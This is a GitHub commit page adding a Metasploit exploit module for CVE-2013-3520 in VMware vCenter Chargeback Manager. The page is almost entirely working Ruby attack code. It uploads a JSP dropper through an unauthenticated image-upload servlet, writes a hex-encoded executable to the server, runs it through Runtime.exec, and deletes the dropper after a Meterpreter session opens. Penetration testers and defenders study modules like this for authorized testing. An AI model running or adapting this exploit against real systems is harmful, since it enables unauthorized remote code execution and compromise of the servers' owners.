Skip to content

Commit cb108a8

Browse files
author
jvazquez-r7
committed
Add module for ZDI-13-147
1 parent 6885ef8 commit cb108a8

File tree

1 file changed

+205
-0
lines changed

1 file changed

+205
-0
lines changed
Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] }
14+
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::EXE
17+
include Msf::Exploit::FileDropper
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',
22+
'Description' => %q{
23+
This module exploits a code execution flaw in VMware vCenter Chargeback Manager,
24+
where the ImageUploadServlet servlet allows unauthenticated file upload. The files
25+
are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.
26+
The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1
27+
on Windows 2003 SP2.
28+
},
29+
'Author' =>
30+
[
31+
'Andrea Micalizzi', # Vulnerability discovery
32+
'juan vazquez' # Metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'References' =>
36+
[
37+
[ 'CVE', '2013-3520' ],
38+
[ 'OSVDB', '94188' ],
39+
[ 'BID', '60484' ],
40+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ]
41+
],
42+
'Privileged' => true,
43+
'Platform' => 'win',
44+
'Arch' => ARCH_X86,
45+
'Targets' =>
46+
[
47+
[ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ]
48+
],
49+
'DefaultOptions' =>
50+
{
51+
'SSL' => true
52+
},
53+
'DefaultTarget' => 0,
54+
'DisclosureDate' => 'May 15 2013'))
55+
56+
register_options(
57+
[
58+
Opt::RPORT(443)
59+
], self.class)
60+
end
61+
62+
#
63+
# Try to find and delete the jsp if we get a meterpreter.
64+
#
65+
def on_new_session(cli)
66+
67+
if not @dropper or @dropper.empty?
68+
return
69+
end
70+
71+
if cli.type != 'meterpreter'
72+
print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}")
73+
return
74+
end
75+
76+
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
77+
78+
begin
79+
print_status("#{@peer} - Searching: #{@dropper}")
80+
files = cli.fs.file.search("\\", @dropper)
81+
if not files or files.empty?
82+
print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.")
83+
return
84+
end
85+
86+
files.each { |f|
87+
print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
88+
cli.fs.file.rm(f['path'] + "\\" + f['name'])
89+
}
90+
print_good("#{@peer} - #{@dropper} deleted")
91+
return
92+
rescue ::Exception => e
93+
print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}")
94+
end
95+
end
96+
97+
def upload_file(filename, contents)
98+
post_data = Rex::MIME::Message.new
99+
post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"")
100+
101+
# Work around an incompatible MIME implementation
102+
data = post_data.to_s
103+
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
104+
105+
res = send_request_cgi(
106+
{
107+
'uri' => normalize_uri("cbmui", "ImageUploadServlet"),
108+
'method' => 'POST',
109+
'data' => data,
110+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
111+
'cookie' => "JSESSIONID=#{@session}"
112+
})
113+
114+
if res and res.code == 200
115+
return true
116+
else
117+
return false
118+
end
119+
end
120+
121+
def check
122+
res = send_request_cgi({
123+
'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"),
124+
})
125+
126+
if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/
127+
return Exploit::CheckCode::Detected
128+
end
129+
130+
return Exploit::CheckCode::Safe
131+
end
132+
133+
def exploit
134+
@peer = "#{rhost}:#{rport}"
135+
136+
print_status("#{@peer} - Uploading JSP to execute the payload")
137+
138+
exe = payload.encoded_exe
139+
exe_filename = rand_text_alpha(8) + ".exe"
140+
141+
# The JSP dropper is needed because there isn't directory traversal, just
142+
# arbitrary file upload to a web path where JSP code execution is allowed.
143+
dropper = jsp_drop_and_execute(exe, exe_filename)
144+
dropper_filename = rand_text_alpha(8) + ".jsp"
145+
146+
if upload_file(dropper_filename, dropper)
147+
register_files_for_cleanup(exe_filename)
148+
@dropper = dropper_filename
149+
else
150+
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
151+
end
152+
153+
print_status("#{@peer} - Executing payload")
154+
send_request_cgi(
155+
{
156+
'uri' => normalize_uri("cbmui", "images", dropper_filename),
157+
'method' => 'GET'
158+
})
159+
end
160+
161+
# This should probably go in a mixin
162+
def jsp_drop_bin(bin_data, output_file)
163+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
164+
jspraw << %Q|<%\n|
165+
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
166+
167+
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
168+
169+
jspraw << %Q|int numbytes = data.length();\n|
170+
171+
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
172+
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
173+
jspraw << %Q|{\n|
174+
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
175+
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
176+
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
177+
jspraw << %Q| comb <<= 4;\n|
178+
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
179+
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
180+
jspraw << %Q|}\n|
181+
182+
jspraw << %Q|outputstream.write(bytes);\n|
183+
jspraw << %Q|outputstream.close();\n|
184+
jspraw << %Q|%>\n|
185+
186+
jspraw
187+
end
188+
189+
def jsp_execute_command(command)
190+
jspraw = %Q|<%@ page import="java.io.*" %>\n|
191+
jspraw << %Q|<%\n|
192+
jspraw << %Q|try {\n|
193+
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
194+
jspraw << %Q|} catch (IOException ioe) { }\n|
195+
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
196+
jspraw << %Q|%>\n|
197+
198+
jspraw
199+
end
200+
201+
def jsp_drop_and_execute(bin_data, output_file)
202+
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
203+
end
204+
205+
end

0 commit comments

Comments
 (0)